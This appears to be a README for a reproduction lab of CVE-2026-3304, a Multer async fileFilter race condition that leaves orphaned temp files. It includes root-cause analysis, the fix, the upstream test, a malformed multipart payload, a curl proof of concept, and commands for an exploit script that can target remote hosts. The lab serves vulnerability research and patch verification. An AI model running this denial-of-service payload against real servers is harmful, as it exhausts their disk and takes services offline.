
Reproduction lab for CVE-2026-3304, a Multer async fileFilter race condition causing disk exhaustion via orphaned temp files. Includes vulnerable and patched Docker servers, exploit scripts, and root cause analysis.
For educational and research purposes only. Attacking systems without authorization is illegal.
This lab environment was built by analyzing the Multer 2.1.0 patch and its official test code. The vulnerable server replicates the exact conditions described in the patch test, and the patched server runs Multer 2.1.0 to confirm the fix works.
| Field | Details |
|---|
| CVE | CVE-2026-3304 |
| Target | Multer < 2.1.0 (Node.js multipart/form-data middleware) |
| Type | DoS — Orphaned File (incomplete temporary file cleanup) |
| CWE | CWE-459: Incomplete Cleanup |
| CVSS 4.0 | 8.7 HIGH |
| Patched Version | Multer 2.1.0 |
A malformed multipart request with a missing name attribute on a file part causes Multer to create a temporary file on disk but never clean it up. Repeated requests exhaust disk space, resulting in a Denial of Service.
The vulnerability originates in the fileFilter callback handling flow inside multer/lib/make-middleware.js.
When Multer streams and parses a multipart request part by part, the following sequence occurs:
[Parsing event sequence — vulnerable version]
1. Part 1 header received
→ fileFilter(req, file, cb) called
→ setImmediate(cb) → callback deferred to next event loop tick
2. Part 1 body received
→ /tmp/uploads/<uuid> opened, data starts being written
3. Part 2 header received (name attribute missing)
→ Multer detects 'name missing'
→ errorOccured = true ← error flag set
→ abortWithCode('LIMIT_FIELD_KEY') called → HTTP 500 scheduled
4. setImmediate callback fires (next event loop tick)
→ fileFilter result: includeFile = true (normal flow)
→ [BUG] errorOccured flag is NOT checked
→ storage._handleFile() called → temp file committed to disk
5. HTTP 500 response sent
→ temp file remains on disk (orphaned file)
make-middleware.js — Multer < 2.1.0)// fileFilter completion callback (deferred via setImmediate)
fileFilter(req, file, function (err, includeFile) {
if (err) {
appender.removePlaceholder(placeholder)
return abortWithError(uploadedFiles, err)
}
if (!includeFile) {
appender.removePlaceholder(placeholder)
return fileStream.resume()
}
// ❌ errorOccured is never checked here
// even if an error was set while parsing Part 2, execution continues
storage._handleFile(req, file, function (err, info) {
if (err) {
appender.removePlaceholder(placeholder)
return abortWithError(uploadedFiles, err)
}
// temp file is registered in uploadedFiles and left on disk
appender.replacePlaceholder(placeholder, assign(file, info))
checkFinished()
})
})
Why is setImmediate the problem?
Wrapping fileFilter with setImmediate defers its callback to the next event loop tick.
In that window, busboy (the multipart parser) continues parsing the next part's headers,
discovers the missing name, and sets errorOccured = true.
When the callback resumes, the error state is already set — but the code never checks it,
so storage._handleFile is called unconditionally and the temp file is written to disk.
Fix commit: 739919097d
A single if (errorOccured) guard was added immediately after the fileFilter callback entry,
before storage._handleFile is reached.
// fileFilter completion callback (Multer 2.1.0)
fileFilter(req, file, function (err, includeFile) {
if (err) {
appender.removePlaceholder(placeholder)
return abortWithError(uploadedFiles, err)
}
// ✅ [PATCH] Check errorOccured before proceeding
if (errorOccured) {
appender.removePlaceholder(placeholder)
return fileStream.resume() // drain stream — no file written to disk
}
if (!includeFile) {
appender.removePlaceholder(placeholder)
return fileStream.resume()
}
storage._handleFile(req, file, function (err, info) {
if (err) {
appender.removePlaceholder(placeholder)
return abortWithError(uploadedFiles, err)
}
appender.replacePlaceholder(placeholder, assign(file, info))
checkFinished()
})
})
| Item | Vulnerable (< 2.1.0) | Patched (2.1.0) |
|---|---|---|
errorOccured check | ❌ Not checked | ✅ Checked immediately on callback entry |
_handleFile called on error | Yes | Blocked |
| Temp file cleanup | ❌ Missing | ✅ Via fileStream.resume() |
| Orphaned files per request | 1 | 0 |
Why fileStream.resume() cleans up:
Calling fileStream.resume() drains and discards the stream without passing it to DiskStorage,
so no file is written and nothing is left on disk.
The Multer team included the following Mocha test in the 2.1.0 patch to verify the fix.
This test became the blueprint for this lab environment — the vulnerable server
replicates the exact setup described here (setImmediate fileFilter + malformed multipart request),
and the expected behavior is verified against both the vulnerable and patched versions.
/* eslint-env mocha */
var assert = require('assert')
var fs = require('fs')
var os = require('os')
var path = require('path')
var http = require('http')
var express = require('express')
var multer = require('../')
describe('async fileFilter cleanup', function () {
it('does not leave orphan files when request aborts with missing field name', function (done) {
var uploadDir = fs.mkdtempSync(path.join(os.tmpdir(), 'multer-orphan-'))
var app = express()
// Vulnerability trigger: async fileFilter via setImmediate
var upload = multer({
dest: uploadDir,
fileFilter: function (req, file, cb) {
setImmediate(function () { cb(null, true) })
}
})
app.post('/upload', upload.any(), function (req, res) {
res.json({ success: true })
})
// Error handler: respond with 400
app.use(function (err, req, res, next) {
res.status(400).json({ error: err.code })
})
var server = app.listen(0, function () {
var port = server.address().port
var boundary = 'TestBound'
// Malicious body: Part 1 valid, Part 2 missing name attribute
var body =
'--' + boundary + '\r\n' +
'Content-Disposition: form-data; name="f"; filename="a.bin"\r\n' +
'Content-Type: application/octet-stream\r\n\r\nORPHAN FILE DATA\r\n' +
'--' + boundary + '\r\n' +
'Content-Disposition: form-data; filename="b.bin"\r\n' + // ← name= missing
'Content-Type: application/octet-stream\r\n\r\nx\r\n' +
'--' + boundary + '--\r\n'
var req = http.request({
hostname: 'localhost',
port: port,
path: '/upload',
method: 'POST',
headers: {
'Content-Type': 'multipart/form-data; boundary=' + boundary,
'Content-Length': Buffer.byteLength(body)
}
}, function (res) {
res.resume()
res.on('end', function () {
setTimeout(function () {
var files = fs.readdirSync(uploadDir)
// Assert 1: server must respond with 400 (error)
assert.strictEqual(res.statusCode, 400)
// Assert 2: no orphaned files must remain on disk
assert.strictEqual(files.length, 0)
server.close(done)
}, 500)
})
})
req.write(body)
req.end()
})
})
})
| Assert | Meaning |
|---|---|
res.statusCode === 400 | Multer correctly rejects the malformed request |
files.length === 0 | No orphaned files left on disk (patch verified) |
On a vulnerable version (< 2.1.0), files.length equals 1 and the assert fails.
This lab directly mirrors the patch test setup above.
Vulnerable server (Dockerfile + app/server.js) runs Multer 2.0.2 with an async fileFilter
using setImmediate — the exact trigger condition from the patch test:
// app/server.js — replicates the patch test's vulnerability trigger
const upload = multer({
dest: UPLOAD_DIR,
fileFilter: function (req, file, cb) {
setImmediate(function () { // ← defers callback, creating the race condition
cb(null, true)
})
}
})
Patched server (Dockerfile.patched) runs the same server.js but installs Multer 2.1.0,
where the errorOccured guard is in place — matching the expected passing state of the patch test.
| Server | Port | Multer | Expected behavior |
|---|---|---|---|
| Vulnerable | 3000 | 2.0.2 | Orphaned file created per malformed request |
| Patched | 3001 | 2.1.0 | No orphaned files — cleanup works correctly |
Note: Switching
fileFilterto synchronous (removingsetImmediate) prevents orphaned files even on Multer < 2.1.0. The vulnerability requires both conditions: an asyncfileFilterand the missingerrorOccuredcheck.
The attack sends a multipart/form-data POST where the second part is missing the required name attribute.
POST /upload HTTP/1.1
Content-Type: multipart/form-data; boundary=----Boundary
------Boundary
Content-Disposition: form-data; name="file"; filename="photo.jpg"
Content-Type: application/octet-stream
<binary data>
------Boundary--
POST /upload HTTP/1.1
Content-Type: multipart/form-data; boundary=----Boundary
------Boundary
Content-Disposition: form-data; name="file"; filename="legit.bin" ← Part 1: valid, temp file created here
Content-Type: application/octet-stream
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
------Boundary
Content-Disposition: form-data; filename="malformed.bin" ← Part 2: name= missing!
Content-Type: application/octet-stream
x
------Boundary--
Server-side execution:
1. Part 1 arrives → Multer opens /tmp/uploads/<uuid> and starts writing
2. fileFilter called with setImmediate → callback deferred
3. Part 2 arrives → Multer detects missing name → errorOccured = true
4. setImmediate fires → fileFilter callback runs
5. [BUG] errorOccured not checked → storage._handleFile called
6. Temp file written to disk
7. HTTP 500 returned
8. /tmp/uploads/<uuid> stays on disk forever ← orphaned file
Server response:
HTTP/1.1 500 Internal Server Error
MulterError: Field name missing
at abortWithCode (/app/node_modules/multer/lib/make-middleware.js:...)
curl -s -X POST http://localhost:3000/upload \
-H "Content-Type: multipart/form-data; boundary=----Boundary" \
--data-binary $'------Boundary\r\nContent-Disposition: form-data; name="file"; filename="legit.bin"\r\nContent-Type: application/octet-stream\r\n\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\n------Boundary\r\nContent-Disposition: form-data; filename="malformed.bin"\r\nContent-Type: application/octet-stream\r\n\r\nx\r\n------Boundary--\r\n'
Check orphaned files immediately after:
curl http://localhost:3000/status
pip install requests)# Start vulnerable (port 3000) + patched (port 3001) servers
docker compose up -d --build
# Verify both are running
curl http://localhost:3000/status
curl http://localhost:3001/status
bash exploit/curl_poc.sh
# Default (50 requests)
python3 exploit/exploit.py
# Heavy attack (500 requests, 5 KB payload each)
python3 exploit/exploit.py --count 500 --size 5120
# Against HTTPS target with self-signed cert
python3 exploit/exploit.py --target https://target.example.com --no-verify
# Compare against patched version
python3 exploit/exploit.py --target http://localhost:3001 --count 50
bash exploit/monitor.sh
curl -X DELETE http://localhost:3000/reset
| Target | Result |
|---|---|
| Vulnerable server (3000) | Orphaned file created per request, disk grows continuously |
| Patched server (3001) | 0 orphaned files regardless of request count |
[*] CVE-2026-3304 Multer Orphaned File DoS Exploit
[*] Target : http://localhost:3000/upload
[*] Requests: 50 | Delay: 0.0s | Payload: 2048 bytes
------------------------------------------------------------
[*] Before attack — orphaned files: 0
[ 10/50] 500 response: True | orphaned files: 10 | disk: 20.00 KB
[ 20/50] 500 response: True | orphaned files: 20 | disk: 40.00 KB
[ 30/50] 500 response: True | orphaned files: 30 | disk: 60.00 KB
[ 40/50] 500 response: True | orphaned files: 40 | disk: 80.00 KB
[ 50/50] 500 response: True | orphaned files: 50 | disk: 100.00 KB
============================================================
[Result] Total requests: 50 | Triggered: 50
[Result] Orphaned files: 0 -> 50
[Result] Disk wasted: 100.00 KB
[!] VULNERABLE: 50 temporary files left on disk, never cleaned up
[!] Repeated attacks will exhaust disk space (DoS)
$ docker exec cve-2026-3304-target df -h /tmp/uploads
Before attack:
Filesystem Size Used Available Use% Mounted on
tmpfs 50.0M 0 50.0M 0% /tmp/uploads
After 200 requests × 5 KB:
Filesystem Size Used Available Use% Mounted on
tmpfs 50.0M 1.6M 48.4M 3% /tmp/uploads
$ docker exec cve-2026-3304-target du -sh /tmp/uploads
1.6M /tmp/uploads
$ docker exec cve-2026-3304-target ls /tmp/uploads | wc -l
200
Each orphaned file sits on disk permanently until the server is restarted or manually cleaned. The container's tmpfs is capped at 50 MB — reaching the limit causes the server to fail on new uploads entirely.
Run 1: orphaned files 0 -> 50 (100 KB)
Run 2: orphaned files 50 -> 100 (200 KB)
↑ files from run 1 still present — never cleaned up
[ 10/50] 500 response: True | orphaned files: 0 | disk: 0.00 KB
[ 20/50] 500 response: True | orphaned files: 0 | disk: 0.00 KB
[ 30/50] 500 response: True | orphaned files: 0 | disk: 0.00 KB
[ 40/50] 500 response: True | orphaned files: 0 | disk: 0.00 KB
[ 50/50] 500 response: True | orphaned files: 0 | disk: 0.00 KB
[*] No orphaned files — patched version cleans up correctly
docker compose down